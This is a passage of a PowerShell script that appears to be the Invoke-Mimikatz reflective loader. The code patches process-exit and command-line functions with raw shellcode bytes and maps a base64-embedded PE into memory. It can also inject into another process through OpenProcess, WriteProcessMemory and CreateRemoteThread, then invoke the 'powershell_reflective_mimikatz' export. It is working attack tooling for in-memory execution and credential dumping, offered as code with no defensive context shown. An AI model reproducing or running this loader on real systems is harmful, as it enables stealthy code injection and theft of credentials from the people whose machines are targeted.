$Success = $Win32Functions.VirtualProtect.Invoke($GetCommandLineAAddr, [UInt32]$TotalSize, [UInt32]($Win32Constants.PAGE_EXECUTE_READWRITE), [Ref]$OldProtectFlag)
if ($Success = $false)
{
throw "Call to VirtualProtect failed"
}
$GetCommandLineAAddrTemp = $GetCommandLineAAddr
Write-BytesToMemory -Bytes $Shellcode1 -MemoryAddress $GetCommandLineAAddrTemp
$GetCommandLineAAddrTemp = Add-SignedIntAsUnsigned $GetCommandLineAAddrTemp ($Shellcode1.Length)
[System.Runtime.InteropServices.Marshal]::StructureToPtr($CmdLineAArgsPtr, $GetCommandLineAAddrTemp, $false)
$GetCommandLineAAddrTemp = Add-SignedIntAsUnsigned $GetCommandLineAAddrTemp $PtrSize
Write-BytesToMemory -Bytes $Shellcode2 -MemoryAddress $GetCommandLineAAddrTemp
$Win32Functions.VirtualProtect.Invoke($GetCommandLineAAddr, [UInt32]$TotalSize, [UInt32]$OldProtectFlag, [Ref]$OldProtectFlag) | Out-Null
[UInt32]$OldProtectFlag = 0
$Success = $Win32Functions.VirtualProtect.Invoke($GetCommandLineWAddr, [UInt32]$TotalSize, [UInt32]($Win32Constants.PAGE_EXECUTE_READWRITE), [Ref]$OldProtectFlag)
if ($Success = $false)
{
throw "Call to VirtualProtect failed"
}
$GetCommandLineWAddrTemp = $GetCommandLineWAddr
Write-BytesToMemory -Bytes $Shellcode1 -MemoryAddress $GetCommandLineWAddrTemp
$GetCommandLineWAddrTemp = Add-SignedIntAsUnsigned $GetCommandLineWAddrTemp ($Shellcode1.Length)
[System.Runtime.InteropServices.Marshal]::StructureToPtr($CmdLineWArgsPtr, $GetCommandLineWAddrTemp, $false)
$GetCommandLineWAddrTemp = Add-SignedIntAsUnsigned $GetCommandLineWAddrTemp $PtrSize
Write-BytesToMemory -Bytes $Shellcode2 -MemoryAddress $GetCommandLineWAddrTemp
$Win32Functions.VirtualProtect.Invoke($GetCommandLineWAddr, [UInt32]$TotalSize, [UInt32]$OldProtectFlag, [Ref]$OldProtectFlag) | Out-Null
$DllList = @("msvcr70d.dll", "msvcr71d.dll", "msvcr80d.dll", "msvcr90d.dll", "msvcr100d.dll", "msvcr110d.dll", "msvcr70.dll" `
, "msvcr71.dll", "msvcr80.dll", "msvcr90.dll", "msvcr100.dll", "msvcr110.dll")
foreach ($Dll in $DllList)
{
[IntPtr]$DllHandle = $Win32Functions.GetModuleHandle.Invoke($Dll)
if ($DllHandle -ne [IntPtr]::Zero)
{
[IntPtr]$WCmdLnAddr = $Win32Functions.GetProcAddress.Invoke($DllHandle, "_wcmdln")
[IntPtr]$ACmdLnAddr = $Win32Functions.GetProcAddress.Invoke($DllHandle, "_acmdln")
if ($WCmdLnAddr -eq [IntPtr]::Zero -or $ACmdLnAddr -eq [IntPtr]::Zero)
{
"Error, couldn't find _wcmdln or _acmdln"
}
$NewACmdLnPtr = [System.Runtime.InteropServices.Marshal]::StringToHGlobalAnsi($ExeArguments)
$NewWCmdLnPtr = [System.Runtime.InteropServices.Marshal]::StringToHGlobalUni($ExeArguments)
$OrigACmdLnPtr = [System.Runtime.InteropServices.Marshal]::PtrToStructure($ACmdLnAddr, [Type][IntPtr])
$OrigWCmdLnPtr = [System.Runtime.InteropServices.Marshal]::PtrToStructure($WCmdLnAddr, [Type][IntPtr])
$OrigACmdLnPtrStorage = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($PtrSize)
$OrigWCmdLnPtrStorage = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($PtrSize)
[System.Runtime.InteropServices.Marshal]::StructureToPtr($OrigACmdLnPtr, $OrigACmdLnPtrStorage, $false)
[System.Runtime.InteropServices.Marshal]::StructureToPtr($OrigWCmdLnPtr, $OrigWCmdLnPtrStorage, $false)
$ReturnArray += ,($ACmdLnAddr, $OrigACmdLnPtrStorage, $PtrSize)
$ReturnArray += ,($WCmdLnAddr, $OrigWCmdLnPtrStorage, $PtrSize)
$Success = $Win32Functions.VirtualProtect.Invoke($ACmdLnAddr, [UInt32]$PtrSize, [UInt32]($Win32Constants.PAGE_EXECUTE_READWRITE), [Ref]$OldProtectFlag)
if ($Success = $false)
{
throw "Call to VirtualProtect failed"
}
[System.Runtime.InteropServices.Marshal]::StructureToPtr($NewACmdLnPtr, $ACmdLnAddr, $false)
$Win32Functions.VirtualProtect.Invoke($ACmdLnAddr, [UInt32]$PtrSize, [UInt32]($OldProtectFlag), [Ref]$OldProtectFlag) | Out-Null
$Success = $Win32Functions.VirtualProtect.Invoke($WCmdLnAddr, [UInt32]$PtrSize, [UInt32]($Win32Constants.PAGE_EXECUTE_READWRITE), [Ref]$OldProtectFlag)
if ($Success = $false)
{
throw "Call to VirtualProtect failed"
}
[System.Runtime.InteropServices.Marshal]::StructureToPtr($NewWCmdLnPtr, $WCmdLnAddr, $false)
$Win32Functions.VirtualProtect.Invoke($WCmdLnAddr, [UInt32]$PtrSize, [UInt32]($OldProtectFlag), [Ref]$OldProtectFlag) | Out-Null
}
}
$ReturnArray = @()
$ExitFunctions = @() #Array of functions to overwrite so the thread doesn't exit the process
[IntPtr]$MscoreeHandle = $Win32Functions.GetModuleHandle.Invoke("mscoree.dll")
if ($MscoreeHandle -eq [IntPtr]::Zero)
{
throw "mscoree handle null"
}
[IntPtr]$CorExitProcessAddr = $Win32Functions.GetProcAddress.Invoke($MscoreeHandle, "CorExitProcess")
if ($CorExitProcessAddr -eq [IntPtr]::Zero)
{
Throw "CorExitProcess address not found"
}
$ExitFunctions += $CorExitProcessAddr
[IntPtr]$ExitProcessAddr = $Win32Functions.GetProcAddress.Invoke($Kernel32Handle, "ExitProcess")
if ($ExitProcessAddr -eq [IntPtr]::Zero)
{
Throw "ExitProcess address not found"
}
$ExitFunctions += $ExitProcessAddr
[UInt32]$OldProtectFlag = 0
foreach ($ProcExitFunctionAddr in $ExitFunctions)
{
$ProcExitFunctionAddrTmp = $ProcExitFunctionAddr
[Byte[]]$Shellcode1 = @(0xbb)
[Byte[]]$Shellcode2 = @(0xc6, 0x03, 0x01, 0x83, 0xec, 0x20, 0x83, 0xe4, 0xc0, 0xbb)
if ($PtrSize -eq 8)
{
[Byte[]]$Shellcode1 = @(0x48, 0xbb)
[Byte[]]$Shellcode2 = @(0xc6, 0x03, 0x01, 0x48, 0x83, 0xec, 0x20, 0x66, 0x83, 0xe4, 0xc0, 0x48, 0xbb)
}
[Byte[]]$Shellcode3 = @(0xff, 0xd3)
$TotalSize = $Shellcode1.Length + $PtrSize + $Shellcode2.Length + $PtrSize + $Shellcode3.Length
[IntPtr]$ExitThreadAddr = $Win32Functions.GetProcAddress.Invoke($Kernel32Handle, "ExitThread")
if ($ExitThreadAddr -eq [IntPtr]::Zero)
{
Throw "ExitThread address not found"
}
$Success = $Win32Functions.VirtualProtect.Invoke($ProcExitFunctionAddr, [UInt32]$TotalSize, [UInt32]$Win32Constants.PAGE_EXECUTE_READWRITE, [Ref]$OldProtectFlag)
if ($Success -eq $false)
{
Throw "Call to VirtualProtect failed"
}
$ExitProcessOrigBytesPtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($TotalSize)
$Win32Functions.memcpy.Invoke($ExitProcessOrigBytesPtr, $ProcExitFunctionAddr, [UInt64]$TotalSize) | Out-Null
$ReturnArray += ,($ProcExitFunctionAddr, $ExitProcessOrigBytesPtr, $TotalSize)
Write-BytesToMemory -Bytes $Shellcode1 -MemoryAddress $ProcExitFunctionAddrTmp
$ProcExitFunctionAddrTmp = Add-SignedIntAsUnsigned $ProcExitFunctionAddrTmp ($Shellcode1.Length)
[System.Runtime.InteropServices.Marshal]::StructureToPtr($ExeDoneBytePtr, $ProcExitFunctionAddrTmp, $false)
$ProcExitFunctionAddrTmp = Add-SignedIntAsUnsigned $ProcExitFunctionAddrTmp $PtrSize
Write-BytesToMemory -Bytes $Shellcode2 -MemoryAddress $ProcExitFunctionAddrTmp
$ProcExitFunctionAddrTmp = Add-SignedIntAsUnsigned $ProcExitFunctionAddrTmp ($Shellcode2.Length)
[System.Runtime.InteropServices.Marshal]::StructureToPtr($ExitThreadAddr, $ProcExitFunctionAddrTmp, $false)
$ProcExitFunctionAddrTmp = Add-SignedIntAsUnsigned $ProcExitFunctionAddrTmp $PtrSize
Write-BytesToMemory -Bytes $Shellcode3 -MemoryAddress $ProcExitFunctionAddrTmp
$Win32Functions.VirtualProtect.Invoke($ProcExitFunctionAddr, [UInt32]$TotalSize, [UInt32]$OldProtectFlag, [Ref]$OldProtectFlag) | Out-Null
}
Write-Output $ReturnArray
}
Function Copy-ArrayOfMemAddresses
{
Param(
[Parameter(Position = 0, Mandatory = $true)]
[Array[]]
$CopyInfo,
[Parameter(Position = 1, Mandatory = $true)]
[System.Object]
$Win32Functions,
[Parameter(Position = 2, Mandatory = $true)]
[System.Object]
$Win32Constants
)
[UInt32]$OldProtectFlag = 0
foreach ($Info in $CopyInfo)
{
$Success = $Win32Functions.VirtualProtect.Invoke($Info[0], [UInt32]$Info[2], [UInt32]$Win32Constants.PAGE_EXECUTE_READWRITE, [Ref]$OldProtectFlag)
if ($Success -eq $false)
{
Throw "Call to VirtualProtect failed"
}
$Win32Functions.memcpy.Invoke($Info[0], $Info[1], [UInt64]$Info[2]) | Out-Null
$Win32Functions.VirtualProtect.Invoke($Info[0], [UInt32]$Info[2], [UInt32]$OldProtectFlag, [Ref]$OldProtectFlag) | Out-Null
}
}
Function Get-MemoryProcAddress
{
Param(
[Parameter(Position = 0, Mandatory = $true)]
[IntPtr]
$PEHandle,
[Parameter(Position = 1, Mandatory = $true)]
[String]
$FunctionName
)
$Win32Types = Get-Win32Types
$Win32Constants = Get-Win32Constants
$PEInfo = Get-PEDetailedInfo -PEHandle $PEHandle -Win32Types $Win32Types -Win32Constants $Win32Constants
if ($PEInfo.IMAGE_NT_HEADERS.OptionalHeader.ExportTable.Size -eq 0)
{
return [IntPtr]::Zero
}
$ExportTablePtr = Add-SignedIntAsUnsigned ($PEHandle) ($PEInfo.IMAGE_NT_HEADERS.OptionalHeader.ExportTable.VirtualAddress)
$ExportTable = [System.Runtime.InteropServices.Marshal]::PtrToStructure($ExportTablePtr, [Type]$Win32Types.IMAGE_EXPORT_DIRECTORY)
for ($i = 0; $i -lt $ExportTable.NumberOfNames; $i++)
{
$NameOffsetPtr = Add-SignedIntAsUnsigned ($PEHandle) ($ExportTable.AddressOfNames + ($i * [System.Runtime.InteropServices.Marshal]::SizeOf([Type][UInt32])))
$NamePtr = Add-SignedIntAsUnsigned ($PEHandle) ([System.Runtime.InteropServices.Marshal]::PtrToStructure($NameOffsetPtr, [Type][UInt32]))
$Name = [System.Runtime.InteropServices.Marshal]::PtrToStringAnsi($NamePtr)
if ($Name -ceq $FunctionName)
{
$OrdinalPtr = Add-SignedIntAsUnsigned ($PEHandle) ($ExportTable.AddressOfNameOrdinals + ($i * [System.Runtime.InteropServices.Marshal]::SizeOf([Type][UInt16])))
$FuncIndex = [System.Runtime.InteropServices.Marshal]::PtrToStructure($OrdinalPtr, [Type][UInt16])
$FuncOffsetAddr = Add-SignedIntAsUnsigned ($PEHandle) ($ExportTable.AddressOfFunctions + ($FuncIndex * [System.Runtime.InteropServices.Marshal]::SizeOf([Type][UInt32])))
$FuncOffset = [System.Runtime.InteropServices.Marshal]::PtrToStructure($FuncOffsetAddr, [Type][UInt32])
return Add-SignedIntAsUnsigned ($PEHandle) ($FuncOffset)
}
}
return [IntPtr]::Zero
}
Function Invoke-MemoryLoadLibrary
{
Param(
[Parameter( Position = 0, Mandatory = $true )]
[Byte[]]
$PEBytes,
[Parameter(Position = 1, Mandatory = $false)]
[String]
$ExeArgs,
[Parameter(Position = 2, Mandatory = $false)]
[IntPtr]
$RemoteProcHandle
)
$PtrSize = [System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr])
$Win32Constants = Get-Win32Constants
$Win32Functions = Get-Win32Functions
$Win32Types = Get-Win32Types
$RemoteLoading = $false
if (($RemoteProcHandle -ne $null) -and ($RemoteProcHandle -ne [IntPtr]::Zero))
{
$RemoteLoading = $true
}
$PEInfo = Get-PEBasicInfo -PEBytes $PEBytes -Win32Types $Win32Types
$OriginalImageBase = $PEInfo.OriginalImageBase
$NXCompatible = $true
if (([Int] $PEInfo.DllCharacteristics -band $Win32Constants.IMAGE_DLLCHARACTERISTICS_NX_COMPAT) -ne $Win32Constants.IMAGE_DLLCHARACTERISTICS_NX_COMPAT)
{
Write-Warning "PE is not compatible with DEP, might cause issues" -WarningAction Continue
$NXCompatible = $false
}
$Process64Bit = $true
if ($RemoteLoading -eq $true)
{
$Kernel32Handle = $Win32Functions.GetModuleHandle.Invoke("kernel32.dll")
$Result = $Win32Functions.GetProcAddress.Invoke($Kernel32Handle, "IsWow64Process")
if ($Result -eq [IntPtr]::Zero)
{
Throw "Couldn't locate IsWow64Process function to determine if target process is 32bit or 64bit"
}
[Bool]$Wow64Process = $false
$Success = $Win32Functions.IsWow64Process.Invoke($RemoteProcHandle, [Ref]$Wow64Process)
if ($Success -eq $false)
{
Throw "Call to IsWow64Process failed"
}
if (($Wow64Process -eq $true) -or (($Wow64Process -eq $false) -and ([System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr]) -eq 4)))
{
$Process64Bit = $false
}
$PowerShell64Bit = $true
if ([System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr]) -ne 8)
{
$PowerShell64Bit = $false
}
if ($PowerShell64Bit -ne $Process64Bit)
{
throw "PowerShell must be same architecture (x86/x64) as PE being loaded and remote process"
}
}
else
{
if ([System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr]) -ne 8)
{
$Process64Bit = $false
}
}
if ($Process64Bit -ne $PEInfo.PE64Bit)
{
Throw "PE platform doesn't match the architecture of the process it is being loaded in (32/64bit)"
}
[IntPtr]$LoadAddr = [IntPtr]::Zero
if (([Int] $PEInfo.DllCharacteristics -band $Win32Constants.IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE) -ne $Win32Constants.IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE)
{
Write-Warning "PE file being reflectively loaded is not ASLR compatible. If the loading fails, try restarting PowerShell and trying again" -WarningAction Continue
[IntPtr]$LoadAddr = $OriginalImageBase
}
$PEHandle = [IntPtr]::Zero #This is where the PE is allocated in PowerShell
$EffectivePEHandle = [IntPtr]::Zero #This is the address the PE will be loaded to. If it is loaded in PowerShell, this equals $PEHandle. If it is loaded in a remote process, this is the address in the remote process.
if ($RemoteLoading -eq $true)
{
$PEHandle = $Win32Functions.VirtualAlloc.Invoke([IntPtr]::Zero, [UIntPtr]$PEInfo.SizeOfImage, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_READWRITE)
$EffectivePEHandle = $Win32Functions.VirtualAllocEx.Invoke($RemoteProcHandle, $LoadAddr, [UIntPtr]$PEInfo.SizeOfImage, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_EXECUTE_READWRITE)
if ($EffectivePEHandle -eq [IntPtr]::Zero)
{
Throw "Unable to allocate memory in the remote process. If the PE being loaded doesn't support ASLR, it could be that the requested base address of the PE is already in use"
}
}
else
{
if ($NXCompatible -eq $true)
{
$PEHandle = $Win32Functions.VirtualAlloc.Invoke($LoadAddr, [UIntPtr]$PEInfo.SizeOfImage, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_READWRITE)
}
else
{
$PEHandle = $Win32Functions.VirtualAlloc.Invoke($LoadAddr, [UIntPtr]$PEInfo.SizeOfImage, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_EXECUTE_READWRITE)
}
$EffectivePEHandle = $PEHandle
}
[IntPtr]$PEEndAddress = Add-SignedIntAsUnsigned ($PEHandle) ([Int64]$PEInfo.SizeOfImage)
if ($PEHandle -eq [IntPtr]::Zero)
{
Throw "VirtualAlloc failed to allocate memory for PE. If PE is not ASLR compatible, try running the script in a new PowerShell process (the new PowerShell process will have a different memory layout, so the address the PE wants might be free)."
}
[System.Runtime.InteropServices.Marshal]::Copy($PEBytes, 0, $PEHandle, $PEInfo.SizeOfHeaders) | Out-Null
$PEInfo = Get-PEDetailedInfo -PEHandle $PEHandle -Win32Types $Win32Types -Win32Constants $Win32Constants
$PEInfo | Add-Member -MemberType NoteProperty -Name EndAddress -Value $PEEndAddress
$PEInfo | Add-Member -MemberType NoteProperty -Name EffectivePEHandle -Value $EffectivePEHandle
Copy-Sections -PEBytes $PEBytes -PEInfo $PEInfo -Win32Functions $Win32Functions -Win32Types $Win32Types
Update-MemoryAddresses -PEInfo $PEInfo -OriginalImageBase $OriginalImageBase -Win32Constants $Win32Constants -Win32Types $Win32Types
if ($RemoteLoading -eq $true)
{
Import-DllImports -PEInfo $PEInfo -Win32Functions $Win32Functions -Win32Types $Win32Types -Win32Constants $Win32Constants -RemoteProcHandle $RemoteProcHandle
}
else
{
Import-DllImports -PEInfo $PEInfo -Win32Functions $Win32Functions -Win32Types $Win32Types -Win32Constants $Win32Constants
}
if ($RemoteLoading -eq $false)
{
if ($NXCompatible -eq $true)
{
Update-MemoryProtectionFlags -PEInfo $PEInfo -Win32Functions $Win32Functions -Win32Constants $Win32Constants -Win32Types $Win32Types
}
else
{
}
}
else
{
}
if ($RemoteLoading -eq $true)
{
[UInt32]$NumBytesWritten = 0
$Success = $Win32Functions.WriteProcessMemory.Invoke($RemoteProcHandle, $EffectivePEHandle, $PEHandle, [UIntPtr]($PEInfo.SizeOfImage), [Ref]$NumBytesWritten)
if ($Success -eq $false)
{
Throw "Unable to write shellcode to remote process memory."
}
}
if ($PEInfo.FileType -ieq "DLL")
{
if ($RemoteLoading -eq $false)
{
$DllMainPtr = Add-SignedIntAsUnsigned ($PEInfo.PEHandle) ($PEInfo.IMAGE_NT_HEADERS.OptionalHeader.AddressOfEntryPoint)
$DllMainDelegate = Get-DelegateType @([IntPtr], [UInt32], [IntPtr]) ([Bool])
$DllMain = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($DllMainPtr, $DllMainDelegate)
$DllMain.Invoke($PEInfo.PEHandle, 1, [IntPtr]::Zero) | Out-Null
}
else
{
$DllMainPtr = Add-SignedIntAsUnsigned ($EffectivePEHandle) ($PEInfo.IMAGE_NT_HEADERS.OptionalHeader.AddressOfEntryPoint)
if ($PEInfo.PE64Bit -eq $true)
{
$CallDllMainSC1 = @(0x53, 0x48, 0x89, 0xe3, 0x66, 0x83, 0xe4, 0x00, 0x48, 0xb9)
$CallDllMainSC2 = @(0xba, 0x01, 0x00, 0x00, 0x00, 0x41, 0xb8, 0x00, 0x00, 0x00, 0x00, 0x48, 0xb8)
$CallDllMainSC3 = @(0xff, 0xd0, 0x48, 0x89, 0xdc, 0x5b, 0xc3)
}
else
{
$CallDllMainSC1 = @(0x53, 0x89, 0xe3, 0x83, 0xe4, 0xf0, 0xb9)
$CallDllMainSC2 = @(0xba, 0x01, 0x00, 0x00, 0x00, 0xb8, 0x00, 0x00, 0x00, 0x00, 0x50, 0x52, 0x51, 0xb8)
$CallDllMainSC3 = @(0xff, 0xd0, 0x89, 0xdc, 0x5b, 0xc3)
}
$SCLength = $CallDllMainSC1.Length + $CallDllMainSC2.Length + $CallDllMainSC3.Length + ($PtrSize * 2)
$SCPSMem = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($SCLength)
$SCPSMemOriginal = $SCPSMem
Write-BytesToMemory -Bytes $CallDllMainSC1 -MemoryAddress $SCPSMem
$SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($CallDllMainSC1.Length)
[System.Runtime.InteropServices.Marshal]::StructureToPtr($EffectivePEHandle, $SCPSMem, $false)
$SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($PtrSize)
Write-BytesToMemory -Bytes $CallDllMainSC2 -MemoryAddress $SCPSMem
$SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($CallDllMainSC2.Length)
[System.Runtime.InteropServices.Marshal]::StructureToPtr($DllMainPtr, $SCPSMem, $false)
$SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($PtrSize)
Write-BytesToMemory -Bytes $CallDllMainSC3 -MemoryAddress $SCPSMem
$SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($CallDllMainSC3.Length)
$RSCAddr = $Win32Functions.VirtualAllocEx.Invoke($RemoteProcHandle, [IntPtr]::Zero, [UIntPtr][UInt64]$SCLength, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_EXECUTE_READWRITE)
if ($RSCAddr -eq [IntPtr]::Zero)
{
Throw "Unable to allocate memory in the remote process for shellcode"
}
$Success = $Win32Functions.WriteProcessMemory.Invoke($RemoteProcHandle, $RSCAddr, $SCPSMemOriginal, [UIntPtr][UInt64]$SCLength, [Ref]$NumBytesWritten)
if (($Success -eq $false) -or ([UInt64]$NumBytesWritten -ne [UInt64]$SCLength))
{
Throw "Unable to write shellcode to remote process memory."
}
$RThreadHandle = Invoke-CreateRemoteThread -ProcessHandle $RemoteProcHandle -StartAddress $RSCAddr -Win32Functions $Win32Functions
$Result = $Win32Functions.WaitForSingleObject.Invoke($RThreadHandle, 20000)
if ($Result -ne 0)
{
Throw "Call to CreateRemoteThread to call GetProcAddress failed."
}
$Win32Functions.VirtualFreeEx.Invoke($RemoteProcHandle, $RSCAddr, [UIntPtr][UInt64]0, $Win32Constants.MEM_RELEASE) | Out-Null
}
}
elseif ($PEInfo.FileType -ieq "EXE")
{
[IntPtr]$ExeDoneBytePtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal(1)
[System.Runtime.InteropServices.Marshal]::WriteByte($ExeDoneBytePtr, 0, 0x00)
$OverwrittenMemInfo = Update-ExeFunctions -PEInfo $PEInfo -Win32Functions $Win32Functions -Win32Constants $Win32Constants -ExeArguments $ExeArgs -ExeDoneBytePtr $ExeDoneBytePtr
[IntPtr]$ExeMainPtr = Add-SignedIntAsUnsigned ($PEInfo.PEHandle) ($PEInfo.IMAGE_NT_HEADERS.OptionalHeader.AddressOfEntryPoint)
$Win32Functions.CreateThread.Invoke([IntPtr]::Zero, [IntPtr]::Zero, $ExeMainPtr, [IntPtr]::Zero, ([UInt32]0), [Ref]([UInt32]0)) | Out-Null
while($true)
{
[Byte]$ThreadDone = [System.Runtime.InteropServices.Marshal]::ReadByte($ExeDoneBytePtr, 0)
if ($ThreadDone -eq 1)
{
Copy-ArrayOfMemAddresses -CopyInfo $OverwrittenMemInfo -Win32Functions $Win32Functions -Win32Constants $Win32Constants
break
}
else
{
Start-Sleep -Seconds 1
}
}
}
return @($PEInfo.PEHandle, $EffectivePEHandle)
}
Function Invoke-MemoryFreeLibrary
{
Param(
[Parameter(Position=0, Mandatory=$true)]
[IntPtr]
$PEHandle
)
$Win32Constants = Get-Win32Constants
$Win32Functions = Get-Win32Functions
$Win32Types = Get-Win32Types
$PEInfo = Get-PEDetailedInfo -PEHandle $PEHandle -Win32Types $Win32Types -Win32Constants $Win32Constants
if ($PEInfo.IMAGE_NT_HEADERS.OptionalHeader.ImportTable.Size -gt 0)
{
[IntPtr]$ImportDescriptorPtr = Add-SignedIntAsUnsigned ([Int64]$PEInfo.PEHandle) ([Int64]$PEInfo.IMAGE_NT_HEADERS.OptionalHeader.ImportTable.VirtualAddress)
while ($true)
{
$ImportDescriptor = [System.Runtime.InteropServices.Marshal]::PtrToStructure($ImportDescriptorPtr, [Type]$Win32Types.IMAGE_IMPORT_DESCRIPTOR)
if ($ImportDescriptor.Characteristics -eq 0 `
-and $ImportDescriptor.FirstThunk -eq 0 `
-and $ImportDescriptor.ForwarderChain -eq 0 `
-and $ImportDescriptor.Name -eq 0 `
-and $ImportDescriptor.TimeDateStamp -eq 0)
{
break
}
$ImportDllPath = [System.Runtime.InteropServices.Marshal]::PtrToStringAnsi((Add-SignedIntAsUnsigned ([Int64]$PEInfo.PEHandle) ([Int64]$ImportDescriptor.Name)))
$ImportDllHandle = $Win32Functions.GetModuleHandle.Invoke($ImportDllPath)
if ($ImportDllHandle -eq $null)
{
Write-Warning "Error getting DLL handle in MemoryFreeLibrary, DLLName: $ImportDllPath. Continuing anyways" -WarningAction Continue
}
$Success = $Win32Functions.FreeLibrary.Invoke($ImportDllHandle)
if ($Success -eq $false)
{
Write-Warning "Unable to free library: $ImportDllPath. Continuing anyways." -WarningAction Continue
}
$ImportDescriptorPtr = Add-SignedIntAsUnsigned ($ImportDescriptorPtr) ([System.Runtime.InteropServices.Marshal]::SizeOf([Type]$Win32Types.IMAGE_IMPORT_DESCRIPTOR))
}
}
$Success = $Win32Functions.VirtualFree.Invoke($PEHandle, [UInt64]0, $Win32Constants.MEM_RELEASE)
if ($Success -eq $false)
{
Write-Warning "Unable to call VirtualFree on the PE's memory. Continuing anyways." -WarningAction Continue
}
}
Function Main
{
$Win32Functions = Get-Win32Functions
$Win32Types = Get-Win32Types
$Win32Constants =  Get-Win32Constants
$RemoteProcHandle = [IntPtr]::Zero
if (($ProcId -ne $null) -and ($ProcId -ne 0) -and ($ProcName -ne $null) -and ($ProcName -ne ""))
{
Throw "Can't supply a ProcId and ProcName, choose one or the other"
}
elseif ($ProcName -ne $null -and $ProcName -ne "")
{
$Processes = @(Get-Process -Name $ProcName -ErrorAction SilentlyContinue)
if ($Processes.Count -eq 0)
{
Throw "Can't find process $ProcName"
}
elseif ($Processes.Count -gt 1)
{
$ProcInfo = Get-Process | where { $_.Name -eq $ProcName } | Select-Object ProcessName, Id, SessionId
Write-Output $ProcInfo
Throw "More than one instance of $ProcName found, please specify the process ID to inject in to."
}
else
{
$ProcId = $Processes[0].ID
}
}
if (($ProcId -ne $null) -and ($ProcId -ne 0))
{
$RemoteProcHandle = $Win32Functions.OpenProcess.Invoke(0x001F0FFF, $false, $ProcId)
if ($RemoteProcHandle -eq [IntPtr]::Zero)
{
Throw "Couldn't obtain the handle for process ID: $ProcId"
}
}
        try
        {
            $Processors = Get-WmiObject -Class Win32_Processor
        }
        catch
        {
            throw ($_.Exception)
        }
        if ($Processors -is [array])
        {
            $Processor = $Processors[0]
        } else {
            $Processor = $Processors
        }
        if ( ( $Processor.AddressWidth) -ne (([System.IntPtr]::Size)*8) )
        {
            Write-Error "PowerShell architecture (32bit/64bit) doesn't match OS architecture. 64bit PS must be used on a 64bit OS." -ErrorAction Stop
        }
        if ([System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr]) -eq 8)
        {
            [Byte[]]$PEBytes = [Byte[]][Convert]::FromBase64String($PEBytes64)
        }
        else
        {
            [Byte[]]$PEBytes = [Byte[]][Convert]::FromBase64String($PEBytes32)
        }
        $PEBytes[0] = 0
        $PEBytes[1] = 0
$PEHandle = [IntPtr]::Zero
if ($RemoteProcHandle -eq [IntPtr]::Zero)
{
$PELoadedInfo = Invoke-MemoryLoadLibrary -PEBytes $PEBytes -ExeArgs $ExeArgs
}
else
{
$PELoadedInfo = Invoke-MemoryLoadLibrary -PEBytes $PEBytes -ExeArgs $ExeArgs -RemoteProcHandle $RemoteProcHandle
}
if ($PELoadedInfo -eq [IntPtr]::Zero)
{
Throw "Unable to load PE, handle returned is NULL"
}
$PEHandle = $PELoadedInfo[0]
$RemotePEHandle = $PELoadedInfo[1]
$PEInfo = Get-PEDetailedInfo -PEHandle $PEHandle -Win32Types $Win32Types -Win32Constants $Win32Constants
if (($PEInfo.FileType -ieq "DLL") -and ($RemoteProcHandle -eq [IntPtr]::Zero))
{
    [IntPtr]$WStringFuncAddr = Get-MemoryProcAddress -PEHandle $PEHandle -FunctionName "powershell_reflective_mimikatz"
    if ($WStringFuncAddr -eq [IntPtr]::Zero)
    {
    Throw "Couldn't find function address."
    }
    $WStringFuncDelegate = Get-DelegateType @([IntPtr]) ([IntPtr])
    $WStringFunc = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($WStringFuncAddr, $WStringFuncDelegate)
                    $WStringInput = [System.Runtime.InteropServices.Marshal]::StringToHGlobalUni($ExeArgs)
    [IntPtr]$OutputPtr = $WStringFunc.Invoke($WStringInput)
                    [System.Runtime.InteropServices.Marshal]::FreeHGlobal($WStringInput)
    if ($OutputPtr -eq [IntPtr]::Zero)
    {
     Throw "Unable to get output, Output Ptr is NULL"
    }
    else
    {
        $Output = [System.Runtime.InteropServices.Marshal]::PtrToStringUni($OutputPtr)
        Write-Output $Output
        $Win32Functions.LocalFree.Invoke($OutputPtr);
    }
}
elseif (($PEInfo.FileType -ieq "DLL") -and ($RemoteProcHandle -ne [IntPtr]::Zero))
{
$VoidFuncAddr = Get-MemoryProcAddress -PEHandle $PEHandle -FunctionName "VoidFunc"
if (($VoidFuncAddr -eq $null) -or ($VoidFuncAddr -eq [IntPtr]::Zero))
{
Throw "VoidFunc couldn't be found in the DLL"
}
$VoidFuncAddr = Sub-SignedIntAsUnsigned $VoidFuncAddr $PEHandle
$VoidFuncAddr = Add-SignedIntAsUnsigned $VoidFuncAddr $RemotePEHandle
$RThreadHandle = Invoke-CreateRemoteThread -ProcessHandle $RemoteProcHandle -StartAddress $VoidFuncAddr -Win32Functions $Win32Functions
}
if ($RemoteProcHandle -eq [IntPtr]::Zero)
{
Invoke-MemoryFreeLibrary -PEHandle $PEHandle
}
else
{
$Success = $Win32Functions.VirtualFree.Invoke($PEHandle, [UInt64]0, $Win32Constants.MEM_RELEASE)
if ($Success -eq $false)
{
Write-Warning "Unable to call VirtualFree on the PE's memory. Continuing anyways." -WarningAction Continue
}
}
}
Main
}
Function Main
{
